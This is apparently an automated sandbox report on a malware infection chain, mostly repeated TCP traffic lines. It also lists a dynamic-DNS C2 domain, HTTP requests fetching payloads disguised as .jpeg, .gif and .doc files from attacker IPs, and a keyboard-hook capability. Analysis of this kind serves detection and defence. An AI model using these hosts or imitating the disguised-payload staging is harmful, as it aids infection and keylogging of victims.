Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: sembe.duckdns.org

Uses dynamic DNS services

Source: unknown

DNS query: name: sembe.duckdns.org

Source: global traffic

TCP traffic: 192.168.2.22:49173 -> 194.187.251.115:14645

Source: creatednewwaterbottleforme[1].gif.8.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
Source: creatednewwaterbottleforme[1].gif.8.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4
Source: creatednewwaterbottleform.vBS.8.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
Source: creatednewwaterbottleform.vBS.8.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4

Source: global traffic	HTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /60/WDER.txt HTTP/1.1Host: 192.3.176.174Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: global traffic	HTTP traffic detected: GET /sA HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /60/gbh/creamthingstohappenedgetmebackwithentirethingstogetbackeverythingtounderstandhowmuchpowerfulthingsitis__________wearegreatwithentirethingstobeback.doc HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.174Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /60/creatednewwaterbottleforme.gIF HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.174Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_0041B380 InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

12_2_0041B380

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1D0FB8B4.emf

Contains functionality to register a low level keyboard hook

